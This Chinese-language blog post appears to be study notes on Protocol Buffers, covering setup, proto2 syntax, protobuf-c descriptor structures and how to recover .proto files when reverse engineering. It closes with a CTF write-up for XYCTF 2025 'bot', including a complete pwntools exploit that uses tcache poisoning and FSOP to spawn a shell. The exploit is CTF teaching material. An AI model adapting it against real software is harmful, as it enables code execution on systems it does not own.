Protobuf 学习笔记

·约 23 分钟

目录
  1. 介绍
  2. 环境配置
  3. 安装 protoc
  4. 安装 protobuf-c
  5. 安装 python 的 protobuf 库
  6. 基础知识
  7. 逆向:从结构体回到 .proto
  8. 相关结构体
  9. 例题:XYCTF 2025 bot

做题时碰到了 protobuf,顺手把它的编解码和逆向手法整理一遍。

介绍

Protobuf(全称:Protocol Buffers)是 Google 开发的一种轻量、高效的结构化数据序列化协议。它用于将数据结构序列化为紧凑的二进制格式,用于网络通信或数据存储。Protobuf 被设计为跨平台和语言无关的,因此广泛应用于分布式系统、网络通信、远程过程调用(RPC)等场景

和 JSON / XML 一样,它做的是”把结构化数据打包成一段字节”。区别在于产物是二进制:要反序列化才能读,传输时也省掉了冗余的字段名和标点。

环境配置

基于 wsl Ubuntu22.04

据说 Ubuntu 22.04 自带较新的版本,我这台没有。

安装 protoc

wget https://github.com/protocolbuffers/protobuf/releases/download/v3.6.1/protobuf-all-3.6.1.tar.gz
tar -xvzf protobuf-all-3.6.1.tar.gz
cd protobuf-all-3.6.1
./configure
make #比较耗时
make check
sudo make install #比较耗时

make check 不是必需的,跑一遍能确认编译没问题。 安装完成可以通过

protoc --version

看到回显 libprotoc 3.6.1,就是安装成功。

ln -s /usr/local/lib/libprotobuf.so.17 /usr/lib/libprotobuf.so.17
ln -s /usr/local/lib/libprotoc.so.17 /usr/lib/libprotoc.so.17
sudo ldconfig

安装 protobuf-c

wget https://github.com/protobuf-c/protobuf-c/releases/download/v1.5.0/protobuf-c-1.5.0.tar.gz
tar -xvzf protobuf-c-1.5.0.tar.gz
cd protobuf-c-1.5.0
./configure
make
make check
sudo make install

安装 python 的 protobuf 库

pip3 install protobuf==3.20.3

基础知识

在 proto2 中

syntax = "proto2";

message test {
  optional string a = 1;
  optional int32 b = 2;
  required int32 c = 3;
}

在第一行指定 protobuf 的版本

message 相当于 C 里的结构体,一个文件里可以定义多个。

其中,

  • optional/required 指定属性
    • optional:设了值就序列化进去;没设就返回默认值,也不会出现在线格式里。
    • required:官方推荐不要用,兼容性问题太多,proto3 和 editions 里已经移除。
  • string/int32 是类型描述
  • a/b/c 是字段名称
  • 1/2/3 是字段编号,不是字段的值

在 proto3 中, required 被移除,其他的与 proto2 类似。

其他可参考:Protocol Buffers 文档

逆向:从结构体回到 .proto

相关结构体

ProtobufCMessageDescriptor

struct ProtobufCMessageDescriptor {
 /** Magic value checked to ensure that the API is used correctly. */
 uint32_t   magic;

 /** The qualified name (e.g., "namespace.Type"). */
 const char   *name;
 /** The unqualified name as given in the .proto file (e.g., "Type"). */
 const char   *short_name;
 /** Identifier used in generated C code. */
 const char   *c_name;
 /** The dot-separated namespace. */
 const char   *package_name;

 /**
  * Size in bytes of the C structure representing an instance of this
  * type of message.
  */
 size_t    sizeof_message;

 /** Number of elements in `fields`. */
 unsigned   n_fields;
 /** Field descriptors, sorted by tag number. */
 const ProtobufCFieldDescriptor *fields;
 /** Used for looking up fields by name. */
 const unsigned   *fields_sorted_by_name;

 /** Number of elements in `field_ranges`. */
 unsigned   n_field_ranges;
 /** Used for looking up fields by id. */
 const ProtobufCIntRange  *field_ranges;

 /** Message initialisation function. */
 ProtobufCMessageInit message_init;  (函数指针)

 /** Reserved for future use. */
 void    *reserved1;
 /** Reserved for future use. */
 void    *reserved2;
 /** Reserved for future use. */
 void    *reserved3;
};
  • magic:通常是 0x28AAEEF9,可以拿它做全局搜索,快速定位 descriptor。
  • n_fields:字段个数。
  • fields:指向字段描述符数组。

ProtobufCFieldDescriptor

struct ProtobufCFieldDescriptor {
                           /** Name of the field as given in the .proto file. */
 const char  *name;

                           /** Tag value of the field as given in the .proto file. */
 uint32_t  id;

                           /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
 ProtobufCLabel  label;

                           /** The type of the field. */
 ProtobufCType  type;

                           /**
  * The offset in bytes of the message's C structure's quantifier field
  * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
  * for repeated members or the case enum for oneofs).
  */
 unsigned  quantifier_offset;

                           /**
  * The offset in bytes into the message's C structure for the member
  * itself.
  */
 unsigned  offset;

                           /**
  * A type-specific descriptor.
  *
  * If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
  * corresponding `ProtobufCEnumDescriptor`.
  *
  * If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
  * the corresponding `ProtobufCMessageDescriptor`.
  *
  * Otherwise this field is NULL.
  */
 const void  *descriptor;  /* for MESSAGE and ENUM types */

                           /** The default value for this field, if defined. May be NULL. */
 const void  *default_value;

                           /**
  * A flag word. Zero or more of the bits defined in the
  * `ProtobufCFieldFlag` enum may be set.
  */
 uint32_t  flags;

                           /** Reserved for future use. */
 unsigned  reserved_flags;
                           /** Reserved for future use. */
 void   *reserved2;
                           /** Reserved for future use. */
 void   *reserved3;
};
  • name:字段名。
  • id:字段编号。
  • label:修饰符。
  • type:字段类型。
  • default_value:proto2 有、proto3 没有,可以据此判断版本。

Label 与 Type

enum ProtobufCLabel{
                            /** A well-formed message must have exactly one of this field. */
 PROTOBUF_C_LABEL_REQUIRED,

                            /**
  * A well-formed message can have zero or one of this field (but not
  * more than one).
  */
 PROTOBUF_C_LABEL_OPTIONAL,

                            /**
  * This field can be repeated any number of times (including zero) in a
  * well-formed message. The order of the repeated values will be
  * preserved.
  */
 PROTOBUF_C_LABEL_REPEATED,

                            /**
  * This field has no label. This is valid only in proto3 and is
  * equivalent to OPTIONAL but no "has" quantifier will be consulted.
  */
 PROTOBUF_C_LABEL_NONE,
};

enum ProtobufCType {
 PROTOBUF_C_TYPE_INT32,     /**< int32 */
 PROTOBUF_C_TYPE_SINT32,    /**< signed int32 */
 PROTOBUF_C_TYPE_SFIXED32,  /**< signed int32 (4 bytes) */
 PROTOBUF_C_TYPE_INT64,     /**< int64 */
 PROTOBUF_C_TYPE_SINT64,    /**< signed int64 */
 PROTOBUF_C_TYPE_SFIXED64,  /**< signed int64 (8 bytes) */
 PROTOBUF_C_TYPE_UINT32,    /**< unsigned int32 */
 PROTOBUF_C_TYPE_FIXED32,   /**< unsigned int32 (4 bytes) */
 PROTOBUF_C_TYPE_UINT64,    /**< unsigned int64 */
 PROTOBUF_C_TYPE_FIXED64,   /**< unsigned int64 (8 bytes) */
 PROTOBUF_C_TYPE_FLOAT,     /**< float */
 PROTOBUF_C_TYPE_DOUBLE,    /**< double */
 PROTOBUF_C_TYPE_BOOL,      /**< boolean */
 PROTOBUF_C_TYPE_ENUM,      /**< enumerated type */
 PROTOBUF_C_TYPE_STRING,    /**< UTF-8 or ASCII string */
 PROTOBUF_C_TYPE_BYTES,     /**< arbitrary byte sequence */
 PROTOBUF_C_TYPE_MESSAGE,   /**< nested message */
};

ProtobufCBinaryData(bytes)

struct ProtobufCBinaryData
{
  size_t len;                           ///< Number of bytes in the `data` field.
  uint8_t *data;                        ///< Data bytes.
};

ProtobufCMessage

struct ProtobufCMessage
{
  const ProtobufCMessageDescriptor *descriptor;
  unsigned int n_unknown_fields;
  ProtobufCMessageUnknownField *unknown_fields;
};

ProtobufCIntRange

struct ProtobufCIntRange
{
  int start_value;
  unsigned int orig_index;
};

ProtobufCMessageUnknownField

struct ProtobufCMessageUnknownField
{
    uint32_t tag;
    ProtobufCWireType wire_type;
    size_t len;
    uint8_t *data;
};

例题:XYCTF 2025 bot

以 xyctf2025 bot 为例子

v7 = &message_response__descriptor;

v7 = &message_response__descriptor; 这样的赋值,跟进去看第一个值是不是 0x28AAEEF9,就能确认它是 ProtobufCMessageDescriptor: 然后发现名为 Message_response 的 Message n_fields 说有 4 个字段;顺着 fields 找到每个字段的 ProtobufCFieldDescriptor,四个字段依次是 id、receiver、status、error_message。

怎么读这些描述符:type 给出类型(对应 ProtobufCType 枚举),label 给出 required / optional / repeated,id 就是字段编号,字段名则要从 name 指向的字符串里取。把枚举值和 .proto 语法对着翻译一遍,结构体声明就还原出来了。 结构体里有 default_value,说明这是 proto2。 于是可以还原出:

syntax="proto2";

message Message_response{
    required int32 id = 1;
    required string receiver = 2;
    required int32 status_code = 3;
    optional string error_message = 4;
}

同样的,发现了另一个 Message, 名为 Message_request

message Message_request{
    required int32 id = 1;
    required string sender = 2;
    required uint32 len = 3;
    required bytes content = 4;
    required int32 actionid = 5;
}

把两个 message 合到一个文件里:

syntax = "proto2";

message Message_request{
    required int32 id = 1;
    required string sender = 2;
    required uint32 len = 3;
    required bytes content = 4;
    required int32 actionid = 5;
}

message Message_response{
    required int32 id = 1;
    required string receiver = 2;
    required int32 status_code = 3;
    optional string error_message = 4;
}

存成 demo.proto。 使用 protoc --c_out=. ./demo.proto 和 protoc --python_out=. ./demo.proto

当前目录下会生成 C 和 Python 两组文件:demo.pb-c.c、demo.pb-c.h,以及 demo_pb2.py 和 __pycache__ 目录。

C 文件用于恢复符号,在其中可找到结构体 MessageRequest

struct  MessageRequest
{
  ProtobufCMessage base;
  int32_t id;
  char *sender;
  uint32_t len;
  ProtobufCBinaryData content;
  int32_t actionid;
};

把这个结构体导入 IDA,逆向会轻松很多。这题具体的利用不是本文重点,略过。

python 文件用来和题目交互,import demo_pb2 就能构造消息。 例如,

# 初始化
msg = demo_pb2.Message_request()
msg.id = 1
msg.sender = 'admin'
...

# 序列化
x=msg.SerializeToString()

exp

利用本身是 tcache + FSOP,和 protobuf 无关,脚本直接贴在这里:

from pwn import *
import demo_pb2 as bot

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

libc = ELF('./libc.so.6')

io = process('./bot')
# gdb.attach(io, 'b *$rebase(0x8515)\nb *$rebase(0x8382)')

def add(id:int,len:int,con):
    msg = bot.Message_request()
    msg.id = id
    msg.sender = 'admin'
    msg.len = len
    msg.content = con
    msg.actionid = 1
    io.recvuntil(b'TESTTESTTEST!')
    io.send(msg.SerializeToString())

def show(id:int):
    msg = bot.Message_request()
    msg.id = id
    msg.sender = 'admin'
    msg.len = 666
    msg.content = b'1'
    msg.actionid = 2
    io.recvuntil(b'TESTTESTTEST!')
    io.send(msg.SerializeToString())

def exit_program():
    msg = bot.Message_request()
    msg.id = 0
    msg.sender = 'admin'
    msg.len = 666
    msg.content = b'1'
    msg.actionid = 3
    io.recvuntil(b'TESTTESTTEST!')
    io.send(msg.SerializeToString())

add(0, 0x1, b'a'*0x1)
show(2)
io.recvuntil(b'BOT MSG\n')
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
info('heap_base: ' + hex(heap_base))

con = p64(0) + p64(0)
con += p64(0) + p64(0x21)
con += p64(0) + p64(heap_base + 0x2a0)
add(0, len(con), con)
show(1)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x29d90
info(f'libc: {hex(libc.address)}')

con = p64(0) + p64(0)
con += p64(0) + p64(0x21)
con += p64(0) + p64(heap_base + 0x1A00)
add(0, len(con), con)

con = p64(0) + p64(0)
con = con.ljust(0x68, b'\x00')
con += p64(libc.symbols['system'])
add(1, len(con), con)

con = p64(0) + p64(0)
con += p64(0) + p64(0x21)
con += p64(0) + p64(heap_base + 0x1B00)
add(0, len(con), con)

con = b'\0'*0xE0
con += p64(heap_base + 0x1A00)
add(1, len(con), con)

con = p64(0) + p64(0)
con += p64(0) + p64(0x21)
con += p64(0) + p64(heap_base + 0x1C00)
add(0, len(con), con)

con = b'  sh\0\0\0\0'
con = con.ljust(0x28, b'\x00')
con += p64(1)
con = con.ljust(0xa0, b'\x00')
con += p64(heap_base + 0x1B00)
con = con.ljust(0xc0, b'\x00')
con += p64(0xffffffffffffffff)
con = con.ljust(0xd8, b'\x00')
con += p64(libc.symbols['_IO_wfile_jumps'])
add(1, len(con), con)

con = p64(0) + p64(0)
con += p64(0) + p64(0x21)
con += p64(0) + p64(libc.symbols['_IO_list_all'])
add(0, len(con), con)

con = p64(heap_base + 0x1C00)
add(1, len(con), con)

exit_program()

io.interactive()